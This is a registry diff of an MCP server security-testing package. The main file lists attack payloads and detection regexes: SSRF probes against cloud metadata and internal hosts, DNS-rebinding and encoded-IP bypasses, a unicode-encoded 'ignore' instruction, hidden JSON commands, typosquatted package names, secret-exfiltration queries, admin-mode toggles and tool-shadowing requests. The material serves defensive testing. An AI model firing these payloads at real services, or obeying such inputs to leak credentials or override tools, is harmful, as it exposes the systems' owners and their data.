@bryan-thompson/inspector-assessment 1.37.0 → 1.38.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/cli/build/lib/assessment-runner/assessment-executor.js +29 -1
- package/cli/build/lib/assessment-runner/source-loader.js +11 -0
- package/cli/package.json +1 -1
- package/client/dist/assets/{OAuthCallback-6-wM7Zc1.js → OAuthCallback-AngeBaCl.js} +1 -1
- package/client/dist/assets/{OAuthDebugCallback-Bw9-AzzP.js → OAuthDebugCallback--FE6_fPs.js} +1 -1
- package/client/dist/assets/{index-DyCdQP10.js → index-BQC95Boo.js} +4 -4
- package/client/dist/index.html +1 -1
- package/client/lib/lib/assessment/coreTypes.d.ts +37 -0
- package/client/lib/lib/assessment/coreTypes.d.ts.map +1 -1
- package/client/lib/lib/assessment/resultTypes.d.ts +26 -1
- package/client/lib/lib/assessment/resultTypes.d.ts.map +1 -1
- package/client/lib/lib/securityPatterns/advancedExploitPatterns.d.ts +13 -0
- package/client/lib/lib/securityPatterns/advancedExploitPatterns.d.ts.map +1 -0
- package/client/lib/lib/securityPatterns/advancedExploitPatterns.js +504 -0
- package/client/lib/lib/securityPatterns/authSessionPatterns.d.ts +12 -0
- package/client/lib/lib/securityPatterns/authSessionPatterns.d.ts.map +1 -0
- package/client/lib/lib/securityPatterns/authSessionPatterns.js +357 -0
- package/client/lib/lib/securityPatterns/index.d.ts +18 -0
- package/client/lib/lib/securityPatterns/index.d.ts.map +1 -0
- package/client/lib/lib/securityPatterns/index.js +18 -0
- package/client/lib/lib/securityPatterns/injectionPatterns.d.ts +13 -0
- package/client/lib/lib/securityPatterns/injectionPatterns.d.ts.map +1 -0
- package/client/lib/lib/securityPatterns/injectionPatterns.js +356 -0
- package/client/lib/lib/securityPatterns/resourceExhaustionPatterns.d.ts +12 -0
- package/client/lib/lib/securityPatterns/resourceExhaustionPatterns.d.ts.map +1 -0
- package/client/lib/lib/securityPatterns/resourceExhaustionPatterns.js +215 -0
- package/client/lib/lib/securityPatterns/toolSpecificPatterns.d.ts +13 -0
- package/client/lib/lib/securityPatterns/toolSpecificPatterns.d.ts.map +1 -0
- package/client/lib/lib/securityPatterns/toolSpecificPatterns.js +373 -0
- package/client/lib/lib/securityPatterns/types.d.ts +20 -0
- package/client/lib/lib/securityPatterns/types.d.ts.map +1 -0
- package/client/lib/lib/securityPatterns/types.js +6 -0
- package/client/lib/lib/securityPatterns/utils.d.ts +56 -0
- package/client/lib/lib/securityPatterns/utils.d.ts.map +1 -0
- package/client/lib/lib/securityPatterns/utils.js +96 -0
- package/client/lib/lib/securityPatterns/validationPatterns.d.ts +13 -0
- package/client/lib/lib/securityPatterns/validationPatterns.d.ts.map +1 -0
- package/client/lib/lib/securityPatterns/validationPatterns.js +110 -0
- package/client/lib/lib/securityPatterns.d.ts +18 -69
- package/client/lib/lib/securityPatterns.d.ts.map +1 -1
- package/client/lib/lib/securityPatterns.js +18 -1946
- package/client/lib/services/assessment/AssessmentOrchestrator.d.ts +4 -1
- package/client/lib/services/assessment/AssessmentOrchestrator.d.ts.map +1 -1
- package/client/lib/services/assessment/helpers/ExternalAPIDependencyDetector.d.ts +96 -5
- package/client/lib/services/assessment/helpers/ExternalAPIDependencyDetector.d.ts.map +1 -1
- package/client/lib/services/assessment/helpers/ExternalAPIDependencyDetector.js +202 -16
- package/client/lib/services/assessment/helpers/StdioTransportDetector.d.ts +137 -0
- package/client/lib/services/assessment/helpers/StdioTransportDetector.d.ts.map +1 -0
- package/client/lib/services/assessment/helpers/StdioTransportDetector.js +315 -0
- package/client/lib/services/assessment/helpers/ToolAnnotationExtractor.d.ts +34 -0
- package/client/lib/services/assessment/helpers/ToolAnnotationExtractor.d.ts.map +1 -0
- package/client/lib/services/assessment/helpers/ToolAnnotationExtractor.js +85 -0
- package/client/lib/services/assessment/modules/ErrorHandlingAssessor.d.ts +17 -0
- package/client/lib/services/assessment/modules/ErrorHandlingAssessor.d.ts.map +1 -1
- package/client/lib/services/assessment/modules/ErrorHandlingAssessor.js +162 -10
- package/client/lib/services/assessment/modules/ProtocolComplianceAssessor.d.ts.map +1 -1
- package/client/lib/services/assessment/modules/ProtocolComplianceAssessor.js +30 -0
- package/client/lib/services/assessment/modules/SecurityAssessor.d.ts.map +1 -1
- package/client/lib/services/assessment/modules/SecurityAssessor.js +6 -0
- package/client/lib/services/assessment/modules/securityTests/AnnotationAwareSeverity.d.ts +55 -0
- package/client/lib/services/assessment/modules/securityTests/AnnotationAwareSeverity.d.ts.map +1 -0
- package/client/lib/services/assessment/modules/securityTests/AnnotationAwareSeverity.js +135 -0
- package/client/lib/services/assessment/modules/securityTests/SafeResponseDetector.d.ts +6 -0
- package/client/lib/services/assessment/modules/securityTests/SafeResponseDetector.d.ts.map +1 -1
- package/client/lib/services/assessment/modules/securityTests/SafeResponseDetector.js +9 -1
- package/client/lib/services/assessment/modules/securityTests/SecurityPatternLibrary.d.ts +20 -0
- package/client/lib/services/assessment/modules/securityTests/SecurityPatternLibrary.d.ts.map +1 -1
- package/client/lib/services/assessment/modules/securityTests/SecurityPatternLibrary.js +37 -0
- package/client/lib/services/assessment/modules/securityTests/SecurityPayloadTester.d.ts +11 -1
- package/client/lib/services/assessment/modules/securityTests/SecurityPayloadTester.d.ts.map +1 -1
- package/client/lib/services/assessment/modules/securityTests/SecurityPayloadTester.js +26 -1
- package/client/lib/services/assessment/modules/securityTests/SecurityResponseAnalyzer.d.ts +1 -1
- package/client/lib/services/assessment/modules/securityTests/SecurityResponseAnalyzer.d.ts.map +1 -1
- package/client/lib/services/assessment/modules/securityTests/SecurityResponseAnalyzer.js +10 -1
- package/client/lib/services/assessment/modules/securityTests/index.d.ts +1 -0
- package/client/lib/services/assessment/modules/securityTests/index.d.ts.map +1 -1
- package/client/lib/services/assessment/modules/securityTests/index.js +1 -0
- package/client/package.json +1 -1
- package/package.json +1 -1
- package/server/package.json +1 -1
|
@@ -0,0 +1,373 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Tool-Specific Vulnerability Patterns
|
|
3
|
+
*
|
|
4
|
+
* Patterns targeting specific tool behaviors and vulnerabilities.
|
|
5
|
+
* Includes: SSRF/Indirect Injection, Unicode Bypass, Nested Injection,
|
|
6
|
+
* Package Squatting, Data Exfiltration, Configuration Drift, Tool Shadowing
|
|
7
|
+
*/
|
|
8
|
+
/**
|
|
9
|
+
* Tool-specific vulnerability patterns (7 patterns)
|
|
10
|
+
*/
|
|
11
|
+
export const TOOL_SPECIFIC_PATTERNS = [
|
|
12
|
+
// 12. INDIRECT PROMPT INJECTION (HTTP URL Fetching + SSRF)
|
|
13
|
+
{
|
|
14
|
+
attackName: "Indirect Prompt Injection",
|
|
15
|
+
description: "Test if tool fetches external content or allows SSRF attacks against internal services",
|
|
16
|
+
payloads: [
|
|
17
|
+
{
|
|
18
|
+
payload: "http://example.com",
|
|
19
|
+
evidence: /(status_code.*200|status.*200.*content|<html|<!DOCTYPE|fetched.*http.*content)/i,
|
|
20
|
+
riskLevel: "HIGH",
|
|
21
|
+
description: "Benign URL fetch test",
|
|
22
|
+
payloadType: "injection",
|
|
23
|
+
parameterTypes: ["url", "uri", "link", "endpoint", "address"],
|
|
24
|
+
},
|
|
25
|
+
{
|
|
26
|
+
payload: "http://evil.com/inject.txt",
|
|
27
|
+
evidence: /(fetched|retrieved|evil\.com|malicious|injected)/i,
|
|
28
|
+
riskLevel: "HIGH",
|
|
29
|
+
description: "Malicious URL fetch test",
|
|
30
|
+
payloadType: "injection",
|
|
31
|
+
parameterTypes: ["url", "uri", "link"],
|
|
32
|
+
},
|
|
33
|
+
// SSRF - Local/Internal Services
|
|
34
|
+
{
|
|
35
|
+
payload: "http://localhost",
|
|
36
|
+
evidence: /(SSRF.*fetched|SSRF.*attempted|fetched.*internal|127\.0\.0\.1|localhost.*request|connection.*refused|ECONNREFUSED)/i,
|
|
37
|
+
riskLevel: "HIGH",
|
|
38
|
+
description: "SSRF - localhost access attempt",
|
|
39
|
+
payloadType: "injection",
|
|
40
|
+
parameterTypes: ["url", "uri", "link", "endpoint", "address"],
|
|
41
|
+
},
|
|
42
|
+
{
|
|
43
|
+
payload: "http://127.0.0.1:6379",
|
|
44
|
+
evidence: /(SSRF.*fetched|SSRF.*attempted|redis|PONG|\+OK|127\.0\.0\.1.*request|fetched.*internal)/i,
|
|
45
|
+
riskLevel: "HIGH",
|
|
46
|
+
description: "SSRF - Redis service access",
|
|
47
|
+
payloadType: "injection",
|
|
48
|
+
parameterTypes: ["url", "uri", "link", "endpoint"],
|
|
49
|
+
},
|
|
50
|
+
{
|
|
51
|
+
payload: "http://127.0.0.1:3306",
|
|
52
|
+
evidence: /(SSRF.*fetched|SSRF.*attempted|mysql|mariadb|3306.*request|fetched.*internal)/i,
|
|
53
|
+
riskLevel: "HIGH",
|
|
54
|
+
description: "SSRF - MySQL service access",
|
|
55
|
+
payloadType: "injection",
|
|
56
|
+
parameterTypes: ["url", "uri", "link", "endpoint"],
|
|
57
|
+
},
|
|
58
|
+
// SSRF - Cloud Metadata Endpoints
|
|
59
|
+
{
|
|
60
|
+
payload: "http://169.254.169.254/latest/meta-data/",
|
|
61
|
+
evidence: /(SSRF.*fetched|SSRF.*attempted|ami-id|instance-id|iam|security-credentials|metadata.*169\.254|fetched.*internal)/i,
|
|
62
|
+
riskLevel: "HIGH",
|
|
63
|
+
description: "SSRF - AWS metadata endpoint",
|
|
64
|
+
payloadType: "injection",
|
|
65
|
+
parameterTypes: ["url", "uri", "link", "endpoint"],
|
|
66
|
+
},
|
|
67
|
+
{
|
|
68
|
+
// GCP metadata via IP (more reliable than metadata.google.internal which requires GCP DNS)
|
|
69
|
+
payload: "http://169.254.169.254/computeMetadata/v1/project/project-id",
|
|
70
|
+
evidence: /(SSRF.*attempted.*169\.254|SSRF.*fetched.*169\.254|HTTPConnectionPool.*169\.254|attempted.*SSRF.*metadata|google.*project|gcp.*metadata)/i,
|
|
71
|
+
riskLevel: "HIGH",
|
|
72
|
+
description: "SSRF - GCP metadata endpoint",
|
|
73
|
+
payloadType: "injection",
|
|
74
|
+
parameterTypes: ["url", "uri", "link", "endpoint"],
|
|
75
|
+
},
|
|
76
|
+
{
|
|
77
|
+
payload: "http://169.254.169.254/metadata/instance",
|
|
78
|
+
evidence: /(SSRF.*fetched|SSRF.*attempted|subscriptionId|resourceGroup|vmId|azure.*metadata|fetched.*internal)/i,
|
|
79
|
+
riskLevel: "HIGH",
|
|
80
|
+
description: "SSRF - Azure metadata endpoint",
|
|
81
|
+
payloadType: "injection",
|
|
82
|
+
parameterTypes: ["url", "uri", "link", "endpoint"],
|
|
83
|
+
},
|
|
84
|
+
// SSRF - Internal Network
|
|
85
|
+
{
|
|
86
|
+
payload: "http://192.168.1.1",
|
|
87
|
+
evidence: /(SSRF.*fetched|SSRF.*attempted|192\.168.*request|fetched.*internal|router|gateway)/i,
|
|
88
|
+
riskLevel: "HIGH",
|
|
89
|
+
description: "SSRF - Internal network access",
|
|
90
|
+
payloadType: "injection",
|
|
91
|
+
parameterTypes: ["url", "uri", "link", "endpoint"],
|
|
92
|
+
},
|
|
93
|
+
{
|
|
94
|
+
payload: "http://10.0.0.1",
|
|
95
|
+
evidence: /(SSRF.*fetched|SSRF.*attempted|10\.0\.0.*request|fetched.*internal|private.*network)/i,
|
|
96
|
+
riskLevel: "HIGH",
|
|
97
|
+
description: "SSRF - Private network (10.x) access",
|
|
98
|
+
payloadType: "injection",
|
|
99
|
+
parameterTypes: ["url", "uri", "link", "endpoint"],
|
|
100
|
+
},
|
|
101
|
+
// SSRF - File Protocol
|
|
102
|
+
{
|
|
103
|
+
payload: "file:///etc/passwd",
|
|
104
|
+
evidence: /(root:x:0:0|file.*protocol|local.*file|file.*accessed|SSRF.*file)/i,
|
|
105
|
+
riskLevel: "HIGH",
|
|
106
|
+
description: "SSRF - file:// protocol abuse",
|
|
107
|
+
payloadType: "injection",
|
|
108
|
+
parameterTypes: ["url", "uri", "link", "endpoint"],
|
|
109
|
+
},
|
|
110
|
+
// SSRF - DNS Rebinding Attacks
|
|
111
|
+
// DNS rebinding bypasses IP-based checks by initially resolving to a safe IP,
|
|
112
|
+
// then rebinding to internal IPs after security validation
|
|
113
|
+
{
|
|
114
|
+
payload: "http://rebind.network/dnsbin",
|
|
115
|
+
evidence: /(dns.*rebind|rebind.*detected|internal.*access.*after|SSRF.*rebind|resolved.*internal)/i,
|
|
116
|
+
riskLevel: "HIGH",
|
|
117
|
+
description: "DNS rebinding - generic rebind domain",
|
|
118
|
+
payloadType: "injection",
|
|
119
|
+
parameterTypes: ["url", "uri", "link", "endpoint"],
|
|
120
|
+
},
|
|
121
|
+
{
|
|
122
|
+
payload: "http://a]@127.0.0.1/",
|
|
123
|
+
evidence: /(localhost|127\.0\.0\.1|internal.*access|SSRF.*bypass|host.*header.*injection)/i,
|
|
124
|
+
riskLevel: "HIGH",
|
|
125
|
+
description: "DNS rebinding - URL parser confusion",
|
|
126
|
+
payloadType: "injection",
|
|
127
|
+
parameterTypes: ["url", "uri", "link", "endpoint"],
|
|
128
|
+
},
|
|
129
|
+
{
|
|
130
|
+
payload: "http://127.0.0.1.nip.io",
|
|
131
|
+
evidence: /(localhost|127\.0\.0\.1|internal.*access|nip\.io.*resolved|SSRF.*bypass)/i,
|
|
132
|
+
riskLevel: "HIGH",
|
|
133
|
+
description: "DNS rebinding - nip.io wildcard DNS",
|
|
134
|
+
payloadType: "injection",
|
|
135
|
+
parameterTypes: ["url", "uri", "link", "endpoint"],
|
|
136
|
+
},
|
|
137
|
+
{
|
|
138
|
+
payload: "http://169.254.169.254.nip.io/latest/meta-data/",
|
|
139
|
+
evidence: /(metadata|ami-id|instance-id|SSRF.*metadata|nip\.io.*resolved)/i,
|
|
140
|
+
riskLevel: "HIGH",
|
|
141
|
+
description: "DNS rebinding - AWS metadata via nip.io",
|
|
142
|
+
payloadType: "injection",
|
|
143
|
+
parameterTypes: ["url", "uri", "link", "endpoint"],
|
|
144
|
+
},
|
|
145
|
+
{
|
|
146
|
+
payload: "http://0x7f000001",
|
|
147
|
+
evidence: /(localhost|127\.0\.0\.1|internal.*access|SSRF.*hex|hex.*ip.*resolved)/i,
|
|
148
|
+
riskLevel: "HIGH",
|
|
149
|
+
description: "DNS rebinding - hexadecimal IP encoding",
|
|
150
|
+
payloadType: "injection",
|
|
151
|
+
parameterTypes: ["url", "uri", "link", "endpoint"],
|
|
152
|
+
},
|
|
153
|
+
{
|
|
154
|
+
payload: "http://2130706433",
|
|
155
|
+
evidence: /(localhost|127\.0\.0\.1|internal.*access|SSRF.*decimal|decimal.*ip.*resolved)/i,
|
|
156
|
+
riskLevel: "HIGH",
|
|
157
|
+
description: "DNS rebinding - decimal IP encoding",
|
|
158
|
+
payloadType: "injection",
|
|
159
|
+
parameterTypes: ["url", "uri", "link", "endpoint"],
|
|
160
|
+
},
|
|
161
|
+
{
|
|
162
|
+
payload: "http://[::ffff:127.0.0.1]",
|
|
163
|
+
evidence: /(localhost|127\.0\.0\.1|internal.*access|ipv6.*mapped|SSRF.*ipv6)/i,
|
|
164
|
+
riskLevel: "HIGH",
|
|
165
|
+
description: "DNS rebinding - IPv6 mapped IPv4",
|
|
166
|
+
payloadType: "injection",
|
|
167
|
+
parameterTypes: ["url", "uri", "link", "endpoint"],
|
|
168
|
+
},
|
|
169
|
+
{
|
|
170
|
+
payload: "http://spoofed.burpcollaborator.net",
|
|
171
|
+
evidence: /(burp.*collaborator|external.*interaction|dns.*lookup.*detected|SSRF.*detected)/i,
|
|
172
|
+
riskLevel: "HIGH",
|
|
173
|
+
description: "DNS rebinding - out-of-band interaction test",
|
|
174
|
+
payloadType: "injection",
|
|
175
|
+
parameterTypes: ["url", "uri", "link", "endpoint"],
|
|
176
|
+
},
|
|
177
|
+
],
|
|
178
|
+
},
|
|
179
|
+
// 13. UNICODE BYPASS
|
|
180
|
+
{
|
|
181
|
+
attackName: "Unicode Bypass",
|
|
182
|
+
description: "Test if tool decodes and executes unicode-encoded commands",
|
|
183
|
+
payloads: [
|
|
184
|
+
{
|
|
185
|
+
payload: "\\u0077\\u0068\\u006f\\u0061\\u006d\\u0069", // "whoami"
|
|
186
|
+
evidence: /(root|user|admin|decoded.*executed|unicode.*executed)/i,
|
|
187
|
+
riskLevel: "MEDIUM",
|
|
188
|
+
description: "Unicode-encoded system command",
|
|
189
|
+
payloadType: "injection",
|
|
190
|
+
parameterTypes: ["text", "content", "message", "input", "data"],
|
|
191
|
+
},
|
|
192
|
+
{
|
|
193
|
+
payload: "\\u0069\\u0067\\u006e\\u006f\\u0072\\u0065", // "ignore"
|
|
194
|
+
evidence: /(decoded|unicode|ignore.*previous|executed)/i,
|
|
195
|
+
riskLevel: "MEDIUM",
|
|
196
|
+
description: "Unicode-encoded instruction",
|
|
197
|
+
payloadType: "injection",
|
|
198
|
+
parameterTypes: ["text", "content", "message"],
|
|
199
|
+
},
|
|
200
|
+
],
|
|
201
|
+
},
|
|
202
|
+
// 14. NESTED INJECTION
|
|
203
|
+
{
|
|
204
|
+
attackName: "Nested Injection",
|
|
205
|
+
description: "Test if tool executes hidden instructions in nested JSON",
|
|
206
|
+
payloads: [
|
|
207
|
+
{
|
|
208
|
+
payload: '{"query":"normal","hidden":"whoami"}',
|
|
209
|
+
evidence: /(executed.*hidden|nested.*instruction|root|user|admin)/i,
|
|
210
|
+
riskLevel: "MEDIUM",
|
|
211
|
+
description: "Hidden command in JSON field",
|
|
212
|
+
payloadType: "injection",
|
|
213
|
+
parameterTypes: ["data", "json", "payload", "body", "params"],
|
|
214
|
+
},
|
|
215
|
+
{
|
|
216
|
+
payload: '{"visible":"safe","_execute":"delete all"}',
|
|
217
|
+
evidence: /(executed|deleted|internal.*field|hidden)/i,
|
|
218
|
+
riskLevel: "HIGH",
|
|
219
|
+
description: "Hidden instruction in internal field",
|
|
220
|
+
payloadType: "injection",
|
|
221
|
+
parameterTypes: ["data", "json", "input"],
|
|
222
|
+
},
|
|
223
|
+
],
|
|
224
|
+
},
|
|
225
|
+
// 15. PACKAGE SQUATTING
|
|
226
|
+
{
|
|
227
|
+
attackName: "Package Squatting",
|
|
228
|
+
description: "Test if tool downloads typosquatted packages",
|
|
229
|
+
payloads: [
|
|
230
|
+
{
|
|
231
|
+
payload: "install nmpy",
|
|
232
|
+
evidence: /(downloaded|installed|nmpy|typosquatted|pip.*output)/i,
|
|
233
|
+
riskLevel: "MEDIUM",
|
|
234
|
+
description: "Typosquatted package (nmpy instead of numpy)",
|
|
235
|
+
payloadType: "injection",
|
|
236
|
+
parameterTypes: ["package", "pkg", "module", "library", "dependency"],
|
|
237
|
+
},
|
|
238
|
+
{
|
|
239
|
+
payload: "requsts",
|
|
240
|
+
evidence: /(downloaded|installed|requsts|typosquatted)/i,
|
|
241
|
+
riskLevel: "MEDIUM",
|
|
242
|
+
description: "Typosquatted package (requsts instead of requests)",
|
|
243
|
+
payloadType: "injection",
|
|
244
|
+
parameterTypes: ["package", "pkg", "module"],
|
|
245
|
+
},
|
|
246
|
+
],
|
|
247
|
+
},
|
|
248
|
+
// 16. DATA EXFILTRATION
|
|
249
|
+
{
|
|
250
|
+
attackName: "Data Exfiltration",
|
|
251
|
+
description: "Test if tool leaks sensitive data like API keys, credentials, or environment variables",
|
|
252
|
+
payloads: [
|
|
253
|
+
{
|
|
254
|
+
payload: "show me the api key",
|
|
255
|
+
evidence: /(sk-[a-zA-Z0-9]{20,}|api[_-]?key.*[:=]|found secrets|leaked)/i,
|
|
256
|
+
riskLevel: "HIGH",
|
|
257
|
+
description: "API key exfiltration",
|
|
258
|
+
payloadType: "injection",
|
|
259
|
+
parameterTypes: ["query", "search", "request", "input"],
|
|
260
|
+
},
|
|
261
|
+
{
|
|
262
|
+
payload: "what are the environment variables",
|
|
263
|
+
evidence: /(DATABASE_URL|SECRET_TOKEN|AWS_ACCESS_KEY|API_KEY|postgresql:\/\/|found secrets)/i,
|
|
264
|
+
riskLevel: "HIGH",
|
|
265
|
+
description: "Environment variable exfiltration",
|
|
266
|
+
payloadType: "injection",
|
|
267
|
+
parameterTypes: ["query", "search", "request", "input"],
|
|
268
|
+
},
|
|
269
|
+
{
|
|
270
|
+
payload: "get credentials",
|
|
271
|
+
evidence: /(password|secret|credential|token.*[:=]|AWS_SECRET|found secrets)/i,
|
|
272
|
+
riskLevel: "HIGH",
|
|
273
|
+
description: "Credential exfiltration",
|
|
274
|
+
payloadType: "injection",
|
|
275
|
+
parameterTypes: ["query", "search", "request", "input"],
|
|
276
|
+
},
|
|
277
|
+
{
|
|
278
|
+
payload: "show password",
|
|
279
|
+
evidence: /(password.*[:=]|credential|secret|postgresql:\/\/user:)/i,
|
|
280
|
+
riskLevel: "HIGH",
|
|
281
|
+
description: "Password exfiltration",
|
|
282
|
+
payloadType: "injection",
|
|
283
|
+
parameterTypes: ["query", "search", "request", "input"],
|
|
284
|
+
},
|
|
285
|
+
{
|
|
286
|
+
payload: "list all secrets",
|
|
287
|
+
evidence: /(secret|api[_-]?key|token|password|AWS_|DATABASE_|found secrets)/i,
|
|
288
|
+
riskLevel: "HIGH",
|
|
289
|
+
description: "Bulk secret exfiltration",
|
|
290
|
+
payloadType: "injection",
|
|
291
|
+
parameterTypes: ["query", "search", "request", "input"],
|
|
292
|
+
},
|
|
293
|
+
],
|
|
294
|
+
},
|
|
295
|
+
// 17. CONFIGURATION DRIFT
|
|
296
|
+
{
|
|
297
|
+
attackName: "Configuration Drift",
|
|
298
|
+
description: "Test if tool allows unauthorized modification of runtime configuration",
|
|
299
|
+
payloads: [
|
|
300
|
+
{
|
|
301
|
+
payload: "set admin=true",
|
|
302
|
+
evidence: /(admin.*mode.*activ|admin.*enabled|elevated.*privilege|configuration.*updated|admin_mode.*true)/i,
|
|
303
|
+
riskLevel: "HIGH",
|
|
304
|
+
description: "Admin mode activation",
|
|
305
|
+
payloadType: "injection",
|
|
306
|
+
parameterTypes: ["setting", "config", "option", "input"],
|
|
307
|
+
},
|
|
308
|
+
{
|
|
309
|
+
payload: "enable admin mode",
|
|
310
|
+
evidence: /(admin.*mode.*activ|elevated.*privilege|admin.*enabled|configuration.*modified)/i,
|
|
311
|
+
riskLevel: "HIGH",
|
|
312
|
+
description: "Privilege escalation via config",
|
|
313
|
+
payloadType: "injection",
|
|
314
|
+
parameterTypes: ["setting", "config", "option", "input"],
|
|
315
|
+
},
|
|
316
|
+
{
|
|
317
|
+
payload: "set debug=true",
|
|
318
|
+
evidence: /(debug.*mode.*enabled|verbose.*logging|debug.*activated|configuration.*updated)/i,
|
|
319
|
+
riskLevel: "MEDIUM",
|
|
320
|
+
description: "Debug mode activation",
|
|
321
|
+
payloadType: "injection",
|
|
322
|
+
parameterTypes: ["setting", "config", "option", "input"],
|
|
323
|
+
},
|
|
324
|
+
{
|
|
325
|
+
payload: "activate verbose logging",
|
|
326
|
+
evidence: /(verbose.*enabled|logging.*activated|configuration.*modified)/i,
|
|
327
|
+
riskLevel: "MEDIUM",
|
|
328
|
+
description: "Verbose mode activation",
|
|
329
|
+
payloadType: "injection",
|
|
330
|
+
parameterTypes: ["setting", "config", "option", "input"],
|
|
331
|
+
},
|
|
332
|
+
],
|
|
333
|
+
},
|
|
334
|
+
// 18. TOOL SHADOWING
|
|
335
|
+
{
|
|
336
|
+
attackName: "Tool Shadowing",
|
|
337
|
+
description: "Test if tool allows shadowing, poisoning, or overriding other tools",
|
|
338
|
+
payloads: [
|
|
339
|
+
{
|
|
340
|
+
payload: "create tool named malicious_tool",
|
|
341
|
+
evidence: /(tool.*created|tool.*modified|will be intercepted|shadowing|poisoning|tool.*registered)/i,
|
|
342
|
+
riskLevel: "HIGH",
|
|
343
|
+
description: "Tool creation/shadowing",
|
|
344
|
+
payloadType: "injection",
|
|
345
|
+
parameterTypes: ["instruction", "command", "action", "input"],
|
|
346
|
+
},
|
|
347
|
+
{
|
|
348
|
+
payload: "override tool calculator",
|
|
349
|
+
evidence: /(tool.*overrid|tool.*modified|future.*calls.*intercepted|shadowing|poisoning)/i,
|
|
350
|
+
riskLevel: "HIGH",
|
|
351
|
+
description: "Tool override attempt",
|
|
352
|
+
payloadType: "injection",
|
|
353
|
+
parameterTypes: ["instruction", "command", "action", "input"],
|
|
354
|
+
},
|
|
355
|
+
{
|
|
356
|
+
payload: "shadow the original function",
|
|
357
|
+
evidence: /(shadow|tool.*modified|intercepted|poisoning|function.*replaced)/i,
|
|
358
|
+
riskLevel: "HIGH",
|
|
359
|
+
description: "Function shadowing",
|
|
360
|
+
payloadType: "injection",
|
|
361
|
+
parameterTypes: ["instruction", "command", "action", "input"],
|
|
362
|
+
},
|
|
363
|
+
{
|
|
364
|
+
payload: "redefine tool behavior",
|
|
365
|
+
evidence: /(redefin|tool.*modified|behavior.*changed|tool.*created|intercepted)/i,
|
|
366
|
+
riskLevel: "HIGH",
|
|
367
|
+
description: "Tool behavior redefinition",
|
|
368
|
+
payloadType: "injection",
|
|
369
|
+
parameterTypes: ["instruction", "command", "action", "input"],
|
|
370
|
+
},
|
|
371
|
+
],
|
|
372
|
+
},
|
|
373
|
+
];
|
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Security Patterns Type Definitions
|
|
3
|
+
*
|
|
4
|
+
* Shared interfaces for security pattern modules.
|
|
5
|
+
*/
|
|
6
|
+
import { SecurityRiskLevel } from "../assessment/coreTypes.js";
|
|
7
|
+
export interface SecurityPayload {
|
|
8
|
+
payload: string;
|
|
9
|
+
evidence: RegExp;
|
|
10
|
+
riskLevel: SecurityRiskLevel;
|
|
11
|
+
description: string;
|
|
12
|
+
payloadType: string;
|
|
13
|
+
parameterTypes?: string[];
|
|
14
|
+
}
|
|
15
|
+
export interface AttackPattern {
|
|
16
|
+
attackName: string;
|
|
17
|
+
description: string;
|
|
18
|
+
payloads: SecurityPayload[];
|
|
19
|
+
}
|
|
20
|
+
//# sourceMappingURL=types.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"types.d.ts","sourceRoot":"","sources":["../../../src/lib/securityPatterns/types.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAEH,OAAO,EAAE,iBAAiB,EAAE,MAAM,yBAAyB,CAAC;AAE5D,MAAM,WAAW,eAAe;IAC9B,OAAO,EAAE,MAAM,CAAC;IAChB,QAAQ,EAAE,MAAM,CAAC;IACjB,SAAS,EAAE,iBAAiB,CAAC;IAC7B,WAAW,EAAE,MAAM,CAAC;IACpB,WAAW,EAAE,MAAM,CAAC;IACpB,cAAc,CAAC,EAAE,MAAM,EAAE,CAAC;CAC3B;AAED,MAAM,WAAW,aAAa;IAC5B,UAAU,EAAE,MAAM,CAAC;IACnB,WAAW,EAAE,MAAM,CAAC;IACpB,QAAQ,EAAE,eAAe,EAAE,CAAC;CAC7B"}
|
|
@@ -0,0 +1,56 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Security Patterns Utilities
|
|
3
|
+
*
|
|
4
|
+
* Aggregates all pattern modules and provides utility functions
|
|
5
|
+
* for accessing and analyzing security patterns.
|
|
6
|
+
*/
|
|
7
|
+
import { AttackPattern, SecurityPayload } from "./types.js";
|
|
8
|
+
/**
|
|
9
|
+
* ========================================
|
|
10
|
+
* BACKEND API SECURITY PATTERNS
|
|
11
|
+
* ========================================
|
|
12
|
+
*
|
|
13
|
+
* 32 focused patterns for MCP server API security
|
|
14
|
+
*
|
|
15
|
+
* Architecture: Attack-Type with Specific Payloads
|
|
16
|
+
* - Critical Injection (6 patterns): Command, Calculator, SQL, Path Traversal, XXE, NoSQL
|
|
17
|
+
* - Input Validation (3 patterns): Type Safety, Boundary Testing, Required Fields
|
|
18
|
+
* - Protocol Compliance (2 patterns): MCP Error Format, Timeout Handling
|
|
19
|
+
* - Tool-Specific Vulnerabilities (7 patterns): SSRF, Unicode, Nested, Package, Exfil, Config, Shadow
|
|
20
|
+
* - Resource Exhaustion (2 patterns): DoS/Resource Exhaustion, Insecure Deserialization
|
|
21
|
+
* - Auth & Session (5 patterns): Token Theft, Permission Scope, Code Execution, Auth Bypass, Session Management
|
|
22
|
+
* - Advanced Exploits (7 patterns): State Bypass, Chain, Output Injection, Secret, Blacklist, Crypto, Permissions
|
|
23
|
+
*
|
|
24
|
+
* Scope: Backend API Security ONLY
|
|
25
|
+
* - Tests structured data inputs to API endpoints
|
|
26
|
+
* - Validates server-side security controls
|
|
27
|
+
* - Tests MCP protocol compliance
|
|
28
|
+
* - Tests tool-specific vulnerability patterns with parameter-aware payloads
|
|
29
|
+
*
|
|
30
|
+
* Out of Scope: LLM Prompt Injection
|
|
31
|
+
* - MCP servers are APIs that receive structured data, not prompts
|
|
32
|
+
* - If a server uses an LLM internally, that's the LLM's responsibility
|
|
33
|
+
* - We test the MCP API layer, not the LLM behavior layer
|
|
34
|
+
*/
|
|
35
|
+
export declare const SECURITY_ATTACK_PATTERNS: AttackPattern[];
|
|
36
|
+
/**
|
|
37
|
+
* Get all payloads for an attack type
|
|
38
|
+
*/
|
|
39
|
+
export declare function getPayloadsForAttack(attackName: string, limit?: number): SecurityPayload[];
|
|
40
|
+
/**
|
|
41
|
+
* Get all attack patterns (for testing all tools)
|
|
42
|
+
*/
|
|
43
|
+
export declare function getAllAttackPatterns(): AttackPattern[];
|
|
44
|
+
/**
|
|
45
|
+
* Get pattern statistics
|
|
46
|
+
*/
|
|
47
|
+
export declare function getPatternStatistics(): {
|
|
48
|
+
totalAttackTypes: number;
|
|
49
|
+
totalPayloads: number;
|
|
50
|
+
highRiskPayloads: number;
|
|
51
|
+
mediumRiskPayloads: number;
|
|
52
|
+
